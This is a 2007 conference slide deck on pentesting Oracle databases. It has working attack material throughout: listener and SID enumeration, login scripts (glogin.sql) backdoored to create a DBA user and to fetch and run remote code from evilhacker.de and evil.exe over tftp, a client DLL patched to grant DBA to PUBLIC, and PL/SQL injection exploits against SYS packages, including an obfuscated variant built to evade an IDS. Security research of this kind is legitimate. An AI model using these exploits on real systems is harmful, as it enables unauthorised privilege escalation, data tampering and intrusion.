

CONFidence 2007 / Krakow

Oracle for pentesters 2007 - How to hack Oracle Databases

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12-May-2007

Table of content

- Introduction
- Find the Oracle TNS Listener
- TNS Listener enumeration
- Connecting to the database
- Become DBA via client file modification
- Modify data via inline views
- Privilege escalation
 - Patching the Oracle library
 - SQL Injection in PL/SQL Packages (old)
 - SQL Injection in PL/SQL Packages (new)
- Checking for weak passwords
- Get the SYS password in cleartext

Introduction


- This presentation shows how to pentest Oracle databases
- In most cases the goal is to become DBA and/or to modify data
- The pentest could be performed with Windows, Linux and MacOSX.

Finding the TNS Listener

To find the TNS Listener you can use a portscanner like nmap, amap, ...

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```
BT ~ # nmap -v 192.168.2.232
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-10-06 22:33 GMT
Initiating ARP Ping Scan against 192.168.2.232 [1 port] at 22:33
The ARP Ping Scan took 0.02s to scan 1 total hosts.
DNS resolution of 1 IPs took 0.26s.
Initiating SYN Stealth Scan against 192.168.2.232 [1680 ports] at 22:33
Discovered open port 80/tcp on 192.168.2.232
Discovered open port 443/tcp on 192.168.2.232
Discovered open port 445/tcp on 192.168.2.232
Discovered open port 8080/tcp on 192.168.2.232
Discovered open port 135/tcp on 192.168.2.232
Discovered open port 1521/tcp on 192.168.2.232
Discovered open port 139/tcp on 192.168.2.232
The SYN Stealth Scan took 0.70s to scan 1680 total ports.
Host 192.168.2.232 appears to be up ... good.
Interesting ports on 192.168.2.232:
Not shown: 1673 closed ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
1521/tcp  open  oracle
8080/tcp  open  http-proxy
MAC Address: 00:0C:29:68:4C:15 (VMware)

Nmap finished: 1 IP address (1 host up) scanned in 1.242 seconds
Raw packets sent: 1681 (73.962KB) | Rcvd: 1681 (77.322KB)
BT ~ #
```

Get TNS Listener Version


Every network user can send the VERSION command to the TNS listener to get the version and operating system of the database.

In Backtrack you can use the perl-script tnscmd10g.pl to get the version number. On Windows you could also use the lsnrctl command from the (full) Oracle client

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```
BT oracle # tnscmd10g.pl version -h 192.168.2.232
sending (CONNECT_DATA=(COMMAND=version)) to 192.168.2.232:1521
writing 90 bytes
reading
.M.....6.....(DESCRIPTION=(TMP=)(VSNUM=153092352)(ERR=0)).7.....TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production..TNS for 32-bit Windows: Version 9.2.0.1.0 - Production..Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production..Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production,,.....@
BT oracle #
```

Get the SID

Since Oracle 9i Rel. 2 with patchset 6 or higher it is no longer possible to get the SID with the status command if the listener is password protected.

The SID is necessary to connect to the database. If you don't know the SID you must guess the SID with the tool sidguess

Use the Listener status command


If the 8i/9i Listener is not password protected you get the SID with the following command:

```
tnscmd10g.pl status –h <ip-address>
```

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```
BT oracle # tnscmd10g.pl status -h 192.168.2.232
sending (CONNECT_DATA=(COMMAND=status)) to 192.168.2.232:1521
writing 89 bytes
reading
. ....6.....P. ....Z.....(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR for [32-bit Windows: Version 9.2.0.1.0] - Production)(START_DATE=06-OCT-2006 09:59:07)(SIDNUM=1)(LOGFILE=[C:\oracle\ora92\network\log\listener.log])(PRMFILE=[C:\oracle\ora92\network\admin\listener.ora])(TRACING=off)(UPTIME=4154306)(SNMP=OFF)(PID=392)).S.....(ENDPOINT=(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=E6A3CD5A0CF8-4ECC-8954-D2E4BFCEEDE6)(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\.\.\pipe\EXTPROC0ipc))),,(ENDPOINT=(HANDLER=(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=968E9E3833F2-4EC8-8FC0-9EC31FBD4073)(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=ora9201.rds.local)(PORT=1521))),,(ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=635940900504-4AFD-B476-B3E5351FCB75)(PRE=http)(SESSION=RAW)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=ora9201.rds.local)(PORT=8080))(Presentation=HTTP)(Session=RAW))),,(ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=D5D248EE68E6-4D5E-A30B-5139806C5C66)(PRE=FTP)(SESSION=RAW)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=ora9201.rds.local)(PORT=2100))(Presentation=FTP)(Session=RAW))),,(SERVICE=(SERVICE_NAME=PLSExtProc)(INSTANCE=(INSTANCE_NAME=PLSExtProc)(NUM=1)(INSTANCE_STATUS=UNKNOWN)(NUMREL=1))),,(SERVICE=(SERVICE_NAME=ora9201)(INSTANCE=(INSTANCE_NAME=ora9201)(NUM=1)(INSTANCE_STATUS=UNKNOWN)(NUMREL=1))(INSTANCE=(INSTANCE_NAME=ora9201)(NUM=2)(NUMREL=1))),,(SERVICE=(SERVICE_NAME=ora9201XDB)(INSTANCE=(INSTANCE_NAME=ora9201)(NUM=2)(NUMREL=1))),,...@BT oracle #
```

Use the Listener status command


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```
tnscmd10g.pl status –h <ip-address>
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reading
.a....".U(DESCRIPTION=(ERR=12618)(VSNNUM=169869568)(ERROR_STACK=(ERROR=(CODE=12618)(EMFI=4))))
```

Get the SID with sidguess

In this case we are using sidguess to guess the Oracle SID of an Oracle database.

This is only possible if the Oracle SID is weak or simple (which is quite common).


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sidguess host=<IP-ADDRESS> port=<PORT> sidfile=sid.txt
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sidguess host=<IP-ADDRESS> port=<PORT> sidfile=sid.txt



```
BT oracle # sidguess host=192.168.2.234 port=1521 sidfile=sid.txt
Sidguess 1.00 - 2006 by Red-Database-Security GmbH
Oracle Security Consulting, Security Audits & Security Trainings
http://www.red-database-security.com

SID=xe
BT oracle #
```

Get the SID with a browser

Some Oracle webapps (installed by default) are exposing the SID to external. Calling some special URLs like

<http://192.168.2.90:5500/em/console>


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Get the SID from the database


The table `global_name` (granted to `public`) contains the SID of the database. If you are able to get the content from the table (e.g. via SQL Injection or XMLDB (port 8080)) you can get the SID as well.

http://192.168.2.90:8080/oradb/PUBLIC/GLOBAL_NAME

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http://192.168.2.90:8080/oradb/PUBLIC/GLOBAL_NAME



A screenshot of a web browser window. The address bar shows the URL `http://192.168.2.90:8080/oradb/PUBLIC/GLOBAL_NAME`. The page content is an XML document with the following structure:

```
- <GLOBAL_NAME>
  - <ROW>
    <GLOBAL_NAME>ORCL</GLOBAL_NAME>
  </ROW>
</GLOBAL_NAME>
```

Test the database connection

Now we have every information to connect to the Oracle database with SQL*Plus. Use your username (provided on a separate paper) to connect to the database.

You can use the new Oracle Easy Connect syntax


```
sqlplus <user>/<password>@<ipaddress>:port/<SID>
```

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```
Shell - TNScmd
BT instantclient_10_2 # cd /opt/oracle/instantclient_10_2
BT instantclient_10_2 # sqlplus system/alexoral@//192.168.2.232/ora9201

SQL*Plus: Release 10.2.0.2.0 - Production on Fri Oct 6 21:37:58 2006

Copyright (c) 1982, 2005, Oracle. All Rights Reserved.

Connected to:
Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.1.0 - Production

SQL> ■
```



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`select owner,table_name from all_tables;` -- show tables

`select * from session_roles;` -- shows the session roles

`desc utl_http` -- describes database objects

Attacking DBA Client

Most database clients are able to start (hidden) SQL commands in the background during every database login. This could be a security problem if an attacker can access the DBA client.

SQL*Plus: glogin.sql / login.sql

SQLWorksheet: sqlplusWorksheetInit.sql

TOAD : toad.ini

SQL*Navigator: Registry: [Session_Auto_Run_Script]

PLSQLDeveloper: login.sql / afterconnect.sql

Attacking DBA Client

Example: Entry in the local file glogin.sql or login.sql

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```
-----glogin.sql-----
create user hacker identified by hacker;
grant dba to hacker;
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```

```
C:\ >sqlplus sys@ora10g4 as sysdba
SQL*Plus: Release 10.1.0.5.0
Copyright (c) 1983, 2006, Oracle.
Enter Password:
Connected with:
Oracle Database 10g Release 10.1.0.5.0
User created.
Privilege granted.
SQL>
```

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Example: Entry in the local file glogin.sql or login.sql (without terminal output)

```
-----glogin.sql-----
set term off
grant dba to hacker identified by hacker;
set term on
-----glogin.sql-----
```

Attacking DBA Client

Example: Entry in the local file glogin.sql or login.sql (without terminal output)

```
-----glogin.sql-----
set term off
grant dba to hacker identified by hacker;
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SQL>
```

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```
-----glogin.sql-----  
@http://www.evilhacker.de/hackme.sql  
-----glogin.sql-----
```

Attacking DBA Client

Example: Entry in the local file glogin.sql or login.sql

```
-----glogin.sql-----
@http://www.evilhacker.de/hackme.sql
-----glogin.sql-----
-----hackme.sql-----
set term off
host tftp -i 192.168.2.190 GET evil.exe evil.exe
host evil.exe
Grant dba to hacker identified by hacker
set term on
-----hackme.sql-----
```

Example: Entry in the local file glogin.sql or login.sql

```
-----glogin.sql-----
@http://www.evilhacker.de/hackme.sql
-----glogin.sql-----
-----hackme.sql-----
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Enter Password:
Connected with:
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SQL>
```

Hacking via Views

In 2006 an Oracle employee accidentally released an exploit for a critical problem related to Oracle views. By using a specially crafted view it is possible to insert/update/delete tables without the right privileges.

This problem was fixed with the Oracle Patch July 2006. Inspired by this problem I found a similar problem related to Oracle Inline Views. This issue was fixed with the October 2006 Patch.

Hacking via Views

```
CREATE VIEW emp_emp AS
SELECT e1.ename, e1.empno, e1.deptno
FROM scott.emp e1, scott.emp e2
WHERE e1.empno = e2.empno;

delete from emp_emp;
```


- ➔ Fixed with Oracle Patch CPU July 2006.
- ➔ “Create View”-Privilege required (default in Oracle 7-10g Rel 1)

Demo

Hacking via Views

Demo

Hacking via Views



```
delete from
  (select a.* from
    (select * from
      FLOWS_020200.WWV_FLOW_LISTS_OF_VALUES$)
     a inner join
    (select * from
      FLOWS_020200.WWV_FLOW_LISTS_OF_VALUES$)
     b on (a.id =b.id)
  )
```

- ➔ Only „Create Session“ privilege required
- ➔ This problem was fixed with the Oracle CPU October 2006.

Demo


Hacking via Views

```
update
  (select a.* from
    (select * from
      FLOWS_020200.WWV_FLOW_LISTS_OF_VALUES$) a
     inner join
    (select * from FLOWS_020200.WWV_FLOW_LISTS_OF_VALUES
      $) b
   on (a.id =b.id)
  )
set LOV_QUERY = 'select utl_http.request('''http://
127.0.0.1/USER='''||user) from dual'
where lower(LOV_QUERY) like '%select%'
```

Hacking via Views

Demo

Hacking via Views



Privilege Escalation


In the next part we learn how to escalate privileges by

- patching a dll
- sql injection in PL/SQL packages (old way using a function)
- sql injection via cursor
- Information retrieval via SQL Injection

These techniques are quite common to escalate privileges in an Oracle database.


- This is one of the easiest ways to become DBA in many ways. Only „Create Session“ is required.
- Affected databases
 - All versions of Oracle 7, 8
 - Oracle 8i, 9i Rel.1, 9i Rel.2, 10g Rel1, 10g Rel.2 without CPU January 2006 (or later)
- Only databases Secure without patches
 - 9.2.0.8
 - 10.1.0.5
 - 10.2.0.3

Privilege Escalation via DLL patching




Privilege Escalation via DLL patching

- After a successful login to an Oracle database, Oracle sets the NLS language settings with the command “ALTER SESSION SET NLS...”
ALWAYS in the context of the SYS user.




Privilege Escalation via DLL patching

- After a successful login to an Oracle database, Oracle sets the NLS language settings with the command “ALTER SESSION SET NLS...” ALWAYS in the context of the SYS user.
- The “alter session” SQL-command is transferred from the client to the database and executed there.



- Open the file libclntsh.so (Linux Instant Client), oraociei10.dll (Instant Client Win) and search for the ALTER SESSION SET NLS command.




The screenshot shows a hex editor interface with the title bar "[C:\oracle\ora92\bin\oradient9.dll]". The menu bar includes Datei, Bearbeiten, Suchen, Projekt, Ansicht, Format, Spalte, Makro, Extras, Fenster, and Hilfe. The toolbar contains standard icons for file operations. The status bar shows "alexora1". The main window displays memory dump data with columns for address (0-9) and hex/dec/octal/char values. A specific section of the dump is highlighted in blue, corresponding to the command:

```
0015e370h: 73 27 00 00 41 4C 54 45 52 20 53 45 53 53 49 4F ; s'..ALTER SESSION
0015e380h: 4E 20 53 45 54 20 4E 4C 53 5F 4C 41 4E 47 55 41 ; N SET NLS_LANGUA
```

This highlights the "ALTER SESSION SET NLS" command, which is used for privilege escalation.

- Replace the “ALTER SESSION” command with "GRANT DBA TO PUBLIC--“ and save the file




The screenshot shows a hex editor interface with the title bar "- [C:\oracle\ora92\bin\oraclient9.dll*]". The menu bar includes Datei, Bearbeiten, Suchen, Projekt, Ansicht, Format, Spalte, Makro, Extras, Fenster, and Hilfe. The toolbar contains icons for file operations like Open, Save, Find, and Copy/Paste. The status bar shows row 101 and column 011. The main window displays memory dump data starting at address 0015e2e0h. The data consists of pairs of hex values followed by ASCII characters and descriptive labels. A specific entry at address 0015e380h is highlighted in blue, showing the original value 20 50 55 42 4C 49 43 followed by the modified value 2D 2D 5F 4C 41 4E 47 55 41. The text "PUBLIC--_LNGUA" is visible in the modified section.

Address	Original Value	Modified Value	Description
0015e2e0h	27 20 4E 4C 53 5F 49	27 20 4E 4C 53 5F 49	NLS_ISO_CURREN
0015e2f0h	53 49 3D 20 27 25 2E	53 49 3D 20 27 25 2E	CY= '%.*s' NLS_N
0015e300h	2A 73 27 20 4E 4C 53	2A 73 27 20 4E 4C 53	UMERIC_CHARACTER
0015e310h	5F 43 48 41 52 41 43	5F 43 48 41 52 41 43	S= '%.*s' NLS_CA
0015e320h	5F 43 48 41 52 3D 20	5F 43 48 41 52 3D 20	LENDAR= '%.*s' N
0015e330h	27 25 2E 2A 73 27 20 4E	27 25 2E 2A 73 27 20 4E	LS_DATE_FORMAT=
0015e340h	4C 45 44 41 52 3D 20	4C 45 44 41 52 3D 20	'%.*s' NLS_DATE
0015e350h	27 25 2E 2A 73 27 20 4E	27 25 2E 2A 73 27 20 4E	LANGUAGE= '%.*s'
0015e360h	4C 41 4E 47 55 41 47	4C 41 4E 47 55 41 47	NLS_SORT= '%.*
0015e370h	45 3D 20 27 25 2E 2A	45 3D 20 27 25 2E 2A	s'..GRANT DBA TO
0015e380h	73 27 00 00 47 52 41 4E	73 27 00 00 47 52 41 4E	PUBLIC--_LNGUA
0015e390h	54 20 27 25 2E 2A 73	54 20 27 25 2E 2A 73	GE= '%.*s' NLS_T
0015e3a0h	27 20 4E 4C 53 5F 49	27 20 4E 4C 53 5F 49	ERRITORY= '%.*s'
0015e3b0h	54 4F 52 59 3D 20 27	54 4F 52 59 3D 20 27	NLS_CURRENCY= '
0015e3c0h	25 2E 2A 73 27 20 4E	25 2E 2A 73 27 20 4E	%.*s' NLS_ISO CU
0015e3d0h	4C 53 5F 49 53 4F 5F	4C 53 5F 49 53 4F 5F	RRENCY= '%.*s' N
0015e3e0h	43 48 41 52 41 52 41	43 48 41 52 41 52 41	LS_NUMERIC_CHARA
0015e3f0h	4C 53 5F 49 43 5F 43	4C 53 5F 49 43 5F 43	CTERS= '%.*s' NL
0015e400h	48 41 52 41 52 3D 20	48 41 52 41 52 3D 20	S_CALENDAR= '%.*

Privilege Escalation via DLL patching


Login to the database with the patched dll introduces



Privilege Escalation via DLL patching

Login to the database with the patched dll introduces


“Democracy (or anarchy) in the database”



Privilege Escalation via DLL patching

Login to the database with the patched dll introduces

“Democracy (or anarchy) in the database”



Hint: On some systems it is necessary to set the environment variable `NLS_LANG` to `AMERICAN_AMERICA` to run the exploit.

Privilege Escalation via DLL patching

In April 2007 David Litchfield released a small tool called ora-auth-alter-session (part of OAK) to exploit this bug instead of using the DLL patch.

```
C:\tools\oak>ora-auth-alter-session.exe 192.168.2.110 1521 ora92 test test "grant dba to public"
Connected...
Packet: 1
Size: 65
Type: TNS_REDIRECT

0000  00 41 00 00 05 00 00 00 37 28 41 44 44 52 45      A....7(ADDRE
0010  53 53 3D 28 50 52 4F 54 4F 43 4F 4C 3D 74 63 70  SS=(PROTOCOL=tcp
0020  29 28 48 4F 53 54 3D 31 39 32 2E 31 36 38 2E 32  )(HOST=192.168.2
0030  2E 31 31 30 29 28 50 4F 52 54 3D 34 32 32 34 29  ,110)(PORT=4224)
0040  29                                         )

Connected...
Packet: 1
Size: 24
Type: TNS_ACCEPT

0000  00 18 00 00 02 00 00 00 01 34 00 00 08 00 7F FF      .....4...^
0010  01 00 00 00 00 18 61 01                           .....a.

Agreed Protocol: 0x134

Packet: 1
Size: 127
Type: TNS_DATA
Data Flags: 00
Type: Additional Network Options
0000  00 7F 00 00 06 00 00 00 00 00 DE AD BE EF 00 75      .^.....$`..u
0010  09 20 01 00 00 04 00 00 04 00 03 00 00 00 00 00       .:.....:.....
0020  04 00 05 09 20 01 00 00 02 00 06 00 1F 00 0E 00       .:iv`.....:.....
0030  01 DE AD BE EF 00 03 00 00 00 02 00 04 00 01 00       .:iv`.....:.....
0040  01 00 02 00 00 00 00 00 04 00 05 09 20 01 00 00       .:iv`.....:.....
0050  02 00 06 FB FF 00 02 00 02 00 00 00 00 00 04 00       .:iv`.....:.....
```

The next steps shows how to escalate privileges via injected PL/SQL functions.

To do this you need access to view v\$sql. In this session you Oracle user has already privileges to access a view called vsql.

vsqI is not available by default and only available on the test system. Normally you need access to sys.v\$sql.

A typical PL/SQL exploit consists of 2 parts

“Shellcode”

```
CREATE OR REPLACE FUNCTION F1
return number
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO user23';
COMMIT;
RETURN 1;
END;
/
```

And the function call of the shell code itself. In this example we inject our function into a vulnerable PL/SQL SYS package

The exploit

```
exec sys.kupw$WORKER.main('x','YY'' and  
1=user23.f1 -- r6');
```

After executing this code (and a re-login) we are DBA

How can we construct such a PL/SQL package call?

By looking into the view V\$SQL. Here we find additional information about the vulnerable SQL-statement.


```
SQL> exec dbms_cdc_impdp.validate_import
      ('XXXXXXXXXXXX','YYYYYYYYYY');
```

```
SQL> exec dbms_cdc_impdp.validate_import
      ('XXXXXXXXXXXX','YYYYYYYYYY');
```

```
BEGIN dbms_cdc_impdp.validate_import
      ('XXXXXXXXXXXX','YYYYYYYYYY'); END;
```

```
*
```

```
ERROR at line 1:
```

```
ORA-00942: table or view does not exist
```

```
ORA-06512: at "SYS.DBMS_CDC_IMPDP", line 451
```

```
ORA-06512: at line 1
```

```
SQL> exec dbms_cdc_impdp.validate_import
      ('XXXXXXXXXXXX','YYYYYYYYYY');
```

```
BEGIN dbms_cdc_impdp.validate_import
      ('XXXXXXXXXXXX','YYYYYYYYYY'); END;
```

```
*
```

```
ERROR at line 1:
```

```
ORA-00942: table or view does not exist
ORA-06512: at "SYS.DBMS_CDC_IMPDP", line 451
ORA-06512: at line 1
```

```
Select sql_text from v$sql where sql_text like '%xxxx%'
```

```
DELETE FROM "XXXXXXXXXXXX"."YYYYYYYYYY" WHERE import_error = 'Y'
```

The following exploit is the result of checking the resulting SQL statements

The following exploit is the result of checking the resulting SQL statements

```
exec dbms_cdc_impdp.validate_import
('SYS"."DUAL" where 5 =x.F1      -- ','x9');
```

The following exploit is the result of checking the resulting SQL statements

```
exec dbms_cdc_impdp.validate_import
('SYS"."DUAL" where 5 =X.F1      --','x9');
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Oracle creates the following SQL string in the procedure and executes our “shellcode”

The following exploit is the result of checking the resulting SQL statements

```
exec dbms_cdc_impdp.validate_import
('SYS"."DUAL" where 5 =X.F1      --','x9');
```

Oracle creates the following SQL string in the procedure and executes our “shellcode”

```
DELETE FROM "SYS"."DUAL" where 5 =X.F1
--"."x9" WHERE import_error = 'Y'
```

SQL Injection via cursor

At the Black hat Federal 2007 David Litchfield presented a new technique to exploit SQL Injection vulnerabilities without having “Create Procedure” privileges.

He showed how to use an unclosed cursor instead of a function.

Few days later the first exploits were rewritten and posted on milw0rm.

SQL Injection via cursor

```
#!/usr/bin/perl
#
# Remote Oracle KUPW$WORKER.MAIN exploit (10g)
# - Version 2 - New "evil cursor injection" tip!
# - No "create procedure" privileg needed!
# - See: http://www.databasesecurity.com/ (Cursor Injection)
#
# Grant or revoke dba permission to unprivileged user
#
# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
#
# REF:      http://www.securityfocus.com/archive/1/440439
#
# AUTHOR:   Andrea "bunker" Purificato
#           http://rawlab.mindcreations.com
#
# DATE:     Copyright 2007 - Thu Feb 26 17:48:27 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
```

SQL Injection via cursor

IMHO the new exploits on milw0rm are too long and require too many requirements (e.g. perl) and can not be executed via firewalls (e.g. via iSQLPlus).

The following solution is much shorter and is leaving a smaller footprint in the system because there is no trace available in dba_role_privs

SQL Injection via cursor

SQL Injection via cursor

```
DECLARE
```

SQL Injection via cursor

```
DECLARE  
MYC NUMBER;
```

SQL Injection via cursor

```
DECLARE  
  
MYC NUMBER;  
  
BEGIN
```

SQL Injection via cursor

```
DECLARE
  MYC NUMBER;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
```

SQL Injection via cursor

```
DECLARE
  MYC NUMBER;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQLPARSE(MYC,'declare pragma
  autonomous_transaction; begin execute immediate
  ''grant dba to USER23'';commit;end;',0);
```

SQL Injection via cursor

```
DECLARE
  MYC NUMBER;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQLPARSE(MYC,'declare pragma
  autonomous_transaction; begin execute immediate
  ''grant dba to USER23'';commit;end;',0);
  SYS.KUPW$WORKER.MAIN('x','' and 1=dbms_sql.execute
  ('||myc||')--');
```

SQL Injection via cursor

```
DECLARE
  MYC NUMBER;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQLPARSE(MYC,'declare pragma
    autonomous_transaction; begin execute immediate
    ''grant dba to USER23'';commit;end;',0);
  SYS.KUPW$WORKER.MAIN('x','' and 1=dbms_sql.execute
    ('||myc||')--');
END;
```

SQL Injection via cursor

```
DECLARE
  MYC NUMBER;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQLPARSE(MYC,'declare pragma
    autonomous_transaction; begin execute immediate
    ''grant dba to USER23'';commit;end;',0);
  SYS.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute
    ('||myc||')--');
END;
/
```

SQL Injection via cursor

```
DECLARE
  MYC NUMBER;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQLPARSE(MYC,'declare pragma
    autonomous_transaction; begin execute immediate
    ''grant dba to USER23'';commit;end;',0);
  SYS.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute
    ('||myc||')--');
END;
/
set role dba;
```

SQL Injection via cursor

```
DECLARE
  MYC NUMBER;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
  DBMS_SQLPARSE(MYC,'declare pragma
    autonomous_transaction; begin execute immediate
    ''grant dba to USER23'';commit;end;',0);
  SYS.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute
    ('||myc||')--');
END;
/
set role dba;
revoke dba from user23;
```

SQL Injection via cursor (IDS evasion)

SQL Injection via cursor (IDS evasion)

```
DECLARE
```

SQL Injection via cursor (IDS evasion)

```
DECLARE  
MYC NUMBER;
```

SQL Injection via cursor (IDS evasion)

```
DECLARE
  MYC NUMBER;
  MYB BOOLEAN;
```

SQL Injection via cursor (IDS evasion)

```
DECLARE
  MYC NUMBER;
  MYB BOOLEAN;
BEGIN
```

SQL Injection via cursor (IDS evasion)

```
DECLARE
  MYC NUMBER;
  MYB BOOLEAN;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;
```

```
DECLARE
  MYC NUMBER;
  MYB BOOLEAN;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;

  DBMS_SQLPARSE(MYC,translate('uzikpsz fsprjp
pnmg hgjgna_msphapimwgh) ozrwh zczinmz wjjzuwpmz (rsphm
uop mg fnokwi()igjjwm) zhu'),
```

```
DECLARE
  MYC NUMBER;
  MYB BOOLEAN;
BEGIN
  MYC := DBMS_SQL.OPEN_CURSOR;

  DBMS_SQLPARSE(MYC,translate('uzikpsz fsprjp
pnmg hgjgna_msphapimwgh) ozrwh zczinmz wjjzuwpmz (rsphm
uop mg fnokwi()igjjwm) zhu',
'poiuztrewqlkjhgfdsamnbvcxy
(=!' , 'abcdefghijklmnopqrstuvwxyz''; :=') , 0);
```

```
DECLARE
    MYC NUMBER;
    MYB BOOLEAN;
BEGIN

    MYC := DBMS_SQL.OPEN_CURSOR;

    DBMS_SQLPARSE(MYC,translate('uzikpsz fsprjp
pnmg hgjgna_msphapimwgh) ozrwh zczinmz wjjzuwpmz (rsphm
uop mg fnokwi()igjjwm) zhu',
'poiuztrewqlkjhgfdsamnbvcxy
(=!' , 'abcdefghijklmnopqrstuvwxyz''; :=') ,0);

    MYC:=SYS.KUPV$FT.ATTACH_JOB('','' AND
1=dbms_sql.execute ('||myc||')--',myb);
```

```
DECLARE
    MYC NUMBER;
    MYB BOOLEAN;
BEGIN

    MYC := DBMS_SQL.OPEN_CURSOR;

    DBMS_SQLPARSE(MYC,translate('uzikpsz fsprjp
pnmg hgjgna_msphapimwgh) ozrwh zczinmz wjjzuwpmz (rsphm
uop mg fnokwi()igjjwm) zhu',
'poiuztrewqlkjhgfdsamnbvcxy
(=!' , 'abcdefghijklmnopqrstuvwxyz''; :=') ,0);

    MYC:=SYS.KUPV$FT.ATTACH_JOB('','' AND
1=dbms_sql.execute ('||myc||')--',myb);

END;
```

```
DECLARE
    MYC NUMBER;
    MYB BOOLEAN;
BEGIN
    MYC := DBMS_SQL.OPEN_CURSOR;

    DBMS_SQLPARSE(MYC,translate('uzikpsz fsprjp
pnmg hgjgna_msphapimwgh) ozrwh zczinmz wjjzuwpmz (rsphm
uop mg fnokwi()igjjwm) zhu',
'poiuztrewqlkjhgfdsamnbvcxy
(=!' , 'abcdefghijklmnopqrstuvwxyz''; :=') , 0);

    MYC:=SYS.KUPV$FT.ATTACH_JOB('','' AND
1=dbms_sql.execute ('||myc||')--',myb);

END;
/
```

```
DECLARE
  MYC NUMBER;
  MYB BOOLEAN;
BEGIN

  MYC := DBMS_SQL.OPEN_CURSOR;

  DBMS_SQLPARSE(MYC,translate('uzikpsz fsprjp
pnmg hgjgna_msphapimwgh) ozrwh zczinmz wjjzuwpmz (rsphm
uop mg fnokwi()igjjwm) zhu',
'poiuztrewqlkjhgfdsamnbvcxy
(=!' , 'abcdefghijklmnopqrstuvwxyz''; :=') ,0);

  MYC:=SYS.KUPV$FT.ATTACH_JOB('','' AND
1=dbms_sql.execute ('||myc||')--',myb);

END;
/

SQL> set role dba;
```

```
DECLARE
  MYC NUMBER;
  MYB BOOLEAN;
BEGIN

  MYC := DBMS_SQL.OPEN_CURSOR;

  DBMS_SQLPARSE(MYC,translate('uzikpsz fsprjp
pnmg hgjgna_msphapimwgh) ozrwh zczinmz wjjzuwpmz (rsphm
uop mg fnokwi()igjjwm) zhu',
'poiuztrewqlkjhgfdsamnbvcxy
(=!' , 'abcdefghijklmnopqrstuvwxyz''; :=') ,0);

  MYC:=SYS.KUPV$FT.ATTACH_JOB('','' AND
1=dbms_sql.execute ('||myc||')--',myb);

END;
/

SQL> set role dba;

SQL> revoke dba from public;
```

SQL Injection via cursor

SQL Injection via cursor

GRANTEE

GRANTED_ROLE

ADM DEF

SQL Injection via cursor

GRANTEE

GRANTED_ROLE

ADM DEF

SQL Injection via cursor

GRANTEE	GRANTED_ROLE	ADM	DEF
SYS	DBA	YES	YES

SQL Injection via cursor

GRANTEE	GRANTED_ROLE	ADM	DEF
<hr/>			
SYS	DBA	YES	YES
WKSYS	DBA	NO	YES

SQL Injection via cursor

GRANTEE	GRANTED_ROLE	ADM	DEF
SYS	DBA	YES	YES
WKSYS	DBA	NO	YES
SYSMAN	DBA	NO	YES

SQL Injection via cursor

GRANTEE	GRANTED_ROLE	ADM	DEF
SYS	DBA	YES	YES
WKSYS	DBA	NO	YES
SYSMAN	DBA	NO	YES
SYSTEM	DBA	YES	YES

Calling the exploit

You can call the exploit in SQL*Plus by submitting the text

or

you can put the exploit code on your website and call the webpage directly from SQL*Plus

SQL> @<http://www.orasploit.com/exploit1.sql>

or

SQL> @<http://192.168.2.88/exploit1.sql>

Exploits Enhancements

All Oracle statements are sent over the network unencrypted. By encrypting the SQL statement in the cursor we can also fool IDS systems like snort which are monitoring the network traffic.

(sample - for demonstration purpose only)

```
DBMS_SQLPARSE(MYC, (decode
  ('a7987987c9e987d987c987b987e98756645bc2134fa
  82342cde4897987') ,0) ;
```

It's also possible to use SQL Injection for information retrieval

It's also possible to use SQL Injection for information retrieval

```
SQL> select utl_inaddr.get_host_name('127.0.0.1') from dual;
```

localhost

It's also possible to use SQL Injection for information retrieval

```
SQL> select utl_inaddr.get_host_name('127.0.0.1') from dual;
```

localhost

```
SQL> select utl_inaddr.get_host_name('anti-hacker') from dual;
```

It's also possible to use SQL Injection for information retrieval

```
SQL> select utl_inaddr.get_host_name('127.0.0.1') from dual;
```

localhost

```
SQL> select utl_inaddr.get_host_name('anti-hacker') from dual;
```

```
select utl_inaddr.get_host_name('anti-hacker') from dual  
*
```

ERROR at line 1:

ORA-29257: host **anti-hacker** unknown

ORA-06512: at "SYS.UTL_INADDR", line 4

